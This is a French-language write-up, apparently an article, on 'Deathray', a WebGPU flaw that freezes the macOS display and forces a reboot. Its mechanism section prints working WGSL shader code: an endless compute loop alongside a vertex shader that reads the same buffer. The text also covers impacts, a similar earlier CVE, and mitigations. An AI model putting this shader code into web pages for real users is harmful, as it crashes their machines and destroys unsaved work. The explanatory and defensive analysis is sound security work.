Présentation
Le « Deathray » est un exploit qui exploite WebGPU, la nouvelle API graphique du web, pour geler l’affichage d’un Mac. L’auteur a constaté que le simple clic sur un lien déclenchait un blocage complet du bureau sous macOS 13, quel que soit le navigateur (Chrome, Firefox, Safari). Les tests menés sur des MacBook M‑series montrent que l’effet ne se reproduit pas sous Windows, Linux ou iOS, où le processus du navigateur se contente de se figer.
Fonctionnement
WebGPU autorise le chargement de shaders compute et render directement sur le GPU. Le code suivant, exécuté dans le navigateur, crée une boucle infinie dans le shader compute :
@group(0) @binding(0) var<storage, read_write> data : array<vec4f>;
@compute @workgroup_size(1) fn compute() {
// no i++, loop spins endlessly
for(var i = 0u; i < 1;) {
data[i+1] = data[i];
}
}
Parallèlement, le vertex shader lit le même tampon :
@group(0) @binding(0) var<storage, read> data : array<vec4f>;
@vertex fn vert(@builtin(vertex_index) vertexIdx : u32)
-> @builtin(position) vec4f {
// attempts to read from same buffer the compute shader writes to
let datum = data[vertexIdx];
return datum;
}
@fragment fn frag(@builtin(position) pos : vec4f)
-> @location(0) vec4f {
return pos;
}
Le compute shader ne libère jamais le GPU car il tourne indéfiniment. Le vertex shader attend la fin de l’écriture, ce qui bloque la chaîne de rendu. Le système d’exploitation alloue le même GPU à d’autres processus, notamment WindowServer, responsable du composite de l’écran. Lorsque le GPU reste occupé, WindowServer devient non réactif, provoquant le fameux « beach‑ball » ou l’apparition de pixels magenta. Le reste du système reste accessible : une connexion SSH fonctionne, mais le watchdog du noyau détecte l’absence de réponse de WindowServer et déclenche un panic, forçant le redémarrage.
Analyse des impacts
Le blocage affecte uniquement l’interface graphique ; les processus en arrière‑plan continuent d’exécuter. Cette asymétrie rend le problème difficile à diagnostiquer pour l’utilisateur moyen, qui ne s’attend pas à ce qu’un simple lien web puisse entraîner un redémarrage. Apple a déjà classé un problème similaire, ShadyShader (CVE‑2023‑40441), comme une vulnérabilité de niveau moyen (CVSS 6.5) en raison de boucles longues dans WebGL. La différence réside dans la capacité de WebGPU à soumettre des shaders compute, qui ne bénéficient pas de la même validation d’entrée. Le problème illustre la limite théorique du halting problem : aucune analyse statique ne peut garantir l’absence de boucle infinie.
Mitigation et perspectives
Apple a renforcé la validation des shaders WebGL après ShadyShader, mais les contrôles appliqués à WebGPU restent faibles. La pré‑emption du GPU sur les puces M‑series repose sur le coprocesseur ASC, dont le firmware gère les interruptions. Cette architecture empêche le noyau d’interrompre directement un shader bloqué, ce qui explique le comportement observé. Une solution viable impliquerait l’ajout d’un timeout matériel ou logiciel au niveau du driver, capable de suspendre un shader qui ne rend pas de résultats après un intervalle défini. Désactiver WebGPU par défaut éliminerait le vecteur d’attaque, mais sacrifierait une API prometteuse pour le rendu et le calcul côté client. En attendant une correction officielle, les navigateurs pourraient implémenter une surveillance de l’utilisation GPU par onglet et forcer la fermeture du contexte WebGPU dès détection d’une activité anormale.